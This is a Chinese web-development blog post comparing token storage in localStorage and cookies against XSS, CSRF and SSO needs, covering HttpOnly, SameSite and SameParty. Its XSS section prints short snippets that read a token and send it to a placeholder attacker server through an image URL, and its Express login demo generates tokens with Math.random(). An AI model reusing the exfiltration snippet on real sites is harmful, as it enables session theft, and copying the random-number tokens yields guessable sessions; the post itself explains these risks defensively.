token到底该怎么存?你想过这个问题吗?
token存cookie还是localStorage,存哪个更安全、哪个能实现需求,下面就该问题展开讨论。
首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。
如果SSO是通过跳转到认证中心进行登录态校验,然后回跳携带token的方式(类似第三方微信登录),那localStorage也是可行的,但体验就没有那么好了,具体需要进行取舍。
从XSS角度看
XSS攻击的危害是非常大的,所以我们无论如何都是要避免的;不过幸运的是,大部分XSS攻击浏览器都帮我们进行了有效的处理。
但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?
localStorage
因为本地存储是可以被JS任意读写的,攻击者可以如果成功的进行了XSS,那么存在本地存储中的token,会被轻松拿到,甚至被发送到攻击者的服务器存储起来。
// XSS
const token = localStorage.getItem('token')
const image = new Image()
image.src = `攻击者的服务器地址?token=${token}`
cookie
如果cookie不做任何设置,和localStorage基本一致,被XSS攻击时也可以轻松的拿到token。
// 以下代码来自MDN
// https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie
const getCookie = (key) => {
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(key).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}
const token = getCookie('token')
const image = new Image()
image.src = `攻击者的服务器地址?token=${token}`
好在cookie提供了HttpOnly
属性,它的作用是让该cookie属性只可用于http请求,JS不能读取;它的兼容性也非常不错(如果说你要兼容老古董IE8,那当我没说)。
以下是express定义的一个登录接口示例:
router.post('/login', async(req, res, next) => {
const token = Math.random()
res.header({
'Set-Cookie': `token=${token}; HttpOnly`,
}).send({
code: 0,
message: 'login success'
})
})
仅管经过这样的设置,依然仅仅只是避免了远程XSS;因为就算开启了HttpOnly,使得JS不能读取,但攻击者仍可实施现场攻击,就是攻击是由用户自己的设备触发的;攻击者可以不知道用户的token,但可以在XSS代码中,直接向服务端发送请求。
这就是为什么前面说XSS攻击我们无论如何都是要避免的,但不是说防御XSS仅仅只是为了token的安全。
从CSRF角度看
localStorage
从CSRF角度来看,因为localStorage是域名隔离的,第三方域名是完全无法读取,这是localStorage的天然优势。
cookie
因为cookie是在发送请求时被浏览器自动携带的,这个机制是一把双刃剑,好处是可以基于此实现SSO,坏处就是CSRF攻击由此诞生。
防御cookie带来的CSRF攻击有如下方案:
csrfToken
通过JS读取cookie中的token,添加到请求参数中(csrfToken),服务端将cookie中的token和csrfToken进行比对,如果相等则是正常请求;
这种做法虽说避免了CSRF,但不能满足SSO需求,因为要添加一个额外的请求参数;而且不能开启HttpOnly属性(伴随着存在远程XSS的风险),因为要供JS读取,如此一来基本和localStorage一致了。
SameSite
cookie有个SameSite属性,它有三种取值(引用自MDN):
None
浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
Strict
浏览器将只在访问相同站点时发送 cookie。
Lax
与 Strict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接
注意:之前的SameSite未设置的情况下默认是None,现在大部分浏览器都准备将SameSite属性迁移为Lax。
设置了SmaeSite为非None时,则可避免CSRF,但不能满足SSO需求,所以很多的开发者都将SameSite设置成了None。
SameSite的兼容性:
未来的完美解决方案(SameParty)
cookie的SameParty,这个方案算得上是终极解决方案,但很多浏览器都暂未实现。
这个方案允许我们将一系列不同的域名配置为同一主体运营,即可以在多个指定的不同域名下都可以访问到cookie,而配置之外的域名则不可访问,即避免了CSRF又保证了SSO需求的可行性。
具体使用:
1、在各个域名下的/.well-known/first-party-set
路径下,配置一个JSON文件。
主域名:
{
"owner": "主域名",
"version": 1,
"members": ["其他域名1", "其他域名2"]
}
其他域名:
{
"owner": "当前域名"
}
2、服务端设置SameParty
router.post('/login', async(req, res, next) => {
const token = Math.random()
res.header({
'Set-Cookie': `token=${token}; SameParty; Secure; SameSite=Lax;`,
}).send({
code: 0,
message: 'login success'
})
})
注意:使用SameParty属性时,必须要开启secure,且SameSite不能是strict。
总结
序号 | 方式 | 是否存在远程XSS | 是否存在CSRF | 是否支持SSO | 兼容性 |
---|---|---|---|---|---|
1 | localStorage | 是 | 否 | 否 | 无 |
2 | cookie,未开启HttpOnly,SameSite为None | 是 | 是 | 是 | 无 |
3 | cookie,未开启HttpOnly,SameSite为None,增加csrfToken | 是 | 否 | 否 | 无 |
4 | cookie,开启HttpOnly,SameSite为None | 否 | 是 | 是 | IE8之后 |
5 | 使用cookie,开启HttpOnly,设置了SameSite非None | 否 | 否 | 否 | IE10之后,IE11部分;Chrome50之后 |
如果不需要考虑SameSite的兼容性,使用localStorage不如使用cookie,并开启HttpOnly、SameSite。
如果你需要考虑SameSite的兼容性,同时也没有SSO的需求,那么就用localStorage吧,不过要做好XSS防御。
将token存储到localStorage并没有那么不安全,大部分XSS攻击浏览器都帮我们进行了有效的处理,不过如果沦落到需要考虑SameSite的兼容性了,可能那些版本的浏览器不存在这些XSS的防御机制;退一步讲如果遭受了XSS攻击,就算是存储在cookie中也会受到攻击,只不过被攻击的难度提升了,后果也没有那么严重。
如果有SSO需求,使用cookie,在SameParty可以使用之前,我们可以做好跨域限制、CSRF防御等安全工作。
如果可以,我是说如果,多系统能部署到一个域名的多个子域名下,避免跨站,那是最好,就可以既设置SameSite来避免CSRF,又可以实现SSO。
总的来说,cookie的优势是多余localStorage的。
我们的做法
因为我们是需要SSO的,所以使用了cookie,配套做了一些的安全防御工作。
开启HttpOnly,SameSite为none
认证中心获取code,子系统通过code换取token
接口全部采用post方式
配置跨域白名单
使用https
参考
juejin.cn/post/7002011181221167118
作者:Ytiona
来源:juejin.cn/post/7133940034675638303